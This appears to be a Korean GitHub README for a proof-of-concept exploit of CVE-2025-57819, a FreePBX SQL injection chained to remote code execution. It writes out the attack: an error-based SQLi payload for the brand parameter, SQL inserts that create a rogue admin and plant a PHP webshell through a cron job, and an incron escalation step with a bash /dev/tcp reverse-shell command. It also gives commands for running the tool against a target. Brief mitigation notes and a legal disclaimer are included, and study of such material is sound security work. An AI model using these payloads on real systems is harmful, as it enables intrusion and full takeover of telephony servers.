FreePBX CVE-2025-57819 - 인증되지 않은 SQLi에서 RCE로 이어지는 PoC

교육 및 보안 연구 전용 - 아래 법적 고지를 참조하십시오

FreePBX의 치명적인 인증되지 않은 SQL 인젝션 취약점인 CVE-2025-57819에 대한 익스플로잇 개념 증명으로, 원격 코드 실행이 가능합니다. 이 PoC는 보안 연구 및 승인된 테스트 목적으로만 공식 패치가 릴리스된 후 공개되었습니다.

개요

FreePBX 버전 15.x, 16.x, 17.x(패치된 버전 미만)는 endpoint 모듈의 AJAX 핸들러에서 인증되지 않은 SQL 인젝션에 취약합니다. 이 취약점 체인은 다음을 가능하게 합니다:

1. SQL 인젝션을 통한 관리자 계정 생성
2. 인증된 cron 작업 인젝션을 통한 웹셸 배포
3. sysadmin_manager 훅 체인을 통한 root 권한 상승 (incron 사용 가능한 경우)
4. 리버스 셸 접근을 통한 전체 시스템 장악

---

취약점 세부 정보

CVE ID	CVE-2025-57819
유형	인증되지 않은 SQL 인젝션 (오류 기반)
CVSS	9.8 / 10.0 (치명적)
영향받는 버전	FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
패치된 버전	15.0.66, 16.0.89, 17.0.3+
CISA KEV	예 (2025년 8월 29일)

취약한 엔드포인트

GET /admin/ajax.php?brand=<PAYLOAD>

endpoint 모듈의 AJAX 핸들러에 있는 brand 파라미터는 검증 없이 사용자 입력을 받아들여 오류 기반 SQL 인젝션으로 이어집니다.

---

익스플로잇 체인

1단계: SQL 인젝션 및 관리자 계정 생성

EXTRACTVALUE() 오류 기반 추출을 사용하여 SQLi를 확인하고 데이터베이스 이름을 유출합니다:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

asterisk.ampusers에 새 관리자 사용자를 삽입합니다:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

2단계: 인증된 Cron 작업 인젝션

유효한 관리자 자격 증명을 사용하여 익스플로잇은 FreePBX에 인증하고 인증된 세션을 설정합니다. 세션 쿠키는 저장되어 이후 모든 인증된 요청에 사용됩니다.

asterisk.cron_jobs에 웹셸 명령을 주입합니다:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

FreePBX cron 실행기는 asterisk 사용자로 명령을 실행하여 PHP 웹셸을 배포합니다.

3단계: 웹셸 활성화

PHP 웹셸은 /var/www/html/shell.php에 배포됩니다:

<?php system($_GET['cmd']); ?>

익스플로잇은 웹셸이 활성화될 때까지 폴링하여 asterisk 사용자(uid=999)로 RCE를 달성합니다.

4단계: 권한 상승 (조건부)

대상에 incron이 구성되어 있는 경우:

1. /var/spool/asterisk/incron/에 트리거 파일 생성
2. incrond(root로 실행 중)가 파일 생성을 감지
3. 트리거 파일 이름으로 /usr/bin/sysadmin_manager 호출
4. sysadmin_manager가 GPG 서명을 검증하고 fwconsole-commands 훅으로 디스패치
5. 훅이 페이로드를 디코딩하고 실행: /usr/sbin/fwconsole <COMMAND>
6. 명령 인젝션: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

결과: 리버스 리스너에 root 셸 (incron 사용 가능한 경우).

---

악용하는 대상

• brand 파라미터에 대한 입력 검증 부재
• 스택 쿼리 실행으로 데이터베이스 조작 허용
• 쓰기 가능한 asterisk.cron_jobs 테이블이 asterisk로 명령 실행
• 생성된 관리자 계정의 쿠키를 통한 인증된 세션 지속
• root로 실행되는 Incron 파일 시스템 모니터링
• 명령 인젝션이 가능한 검증되지 않은 fwconsole 훅 실행

---

설치

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

사용법

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

---

영향받는 버전

Version	Status
15.0.0 - 15.0.65	Vulnerable
15.0.66+	Patched
16.0.0 - 16.0.88	Vulnerable
16.0.89+	Patched
17.0.0 - 17.0.2	Vulnerable
17.0.3+	Patched

---

완화 방안

즉시:

• 신뢰할 수 없는 네트워크에서 /admin/ajax.php 접근 제한
• 필요하지 않은 경우 incron 비활성화: systemctl disable incrond

영구적: 패치된 버전으로 업그레이드: 15.0.66+, 16.0.89+, 또는 17.0.3+

---

참고 자료

• CVE-2025-57819
• CISA KEV Catalog
• FreePBX Security Advisory

---

법적 고지

⚠️ 면책 조항

이 개념 증명은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 작성자는 이 도구의 오용이나 손상에 대해 어떠한 책임도 지지 않습니다.

다음을 준수해야 합니다:

• 컴퓨터 사기 및 남용법(CFAA) 및 해당 관할권의 동등한 법률
• 소유하거나 명시적인 서면 승인을 받은 시스템만 테스트
• 보안 테스트 전 서면 허가 획득
• 책임 있는 공개 관행
• 개인정보 및 데이터 보호 규정(GDPR, CCPA 등)

금지된 사용:

• 컴퓨터 시스템에 대한 무단 접근
• 서면 동의 없는 침투 테스트
• 서비스 중단 또는 데이터 도난
• 모든 악의적이거나 불법적인 활동

책임 면제: 작성자는 다음에 대해 책임지지 않습니다:

• 무단 접근 또는 형사 고발
• 시스템 손상 또는 데이터 손실
• 오용의 법적 결과
• 컴퓨터 사기법 위반

이 취약점은:

• 공개적으로 공개됨 (CVE-2025-57819)
• 패치가 공개적으로 제공됨
• 보안 연구 목적으로만 게시됨
• 패치 릴리스 후 책임 있게 공유됨

---

작성자

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

라이선스

MIT License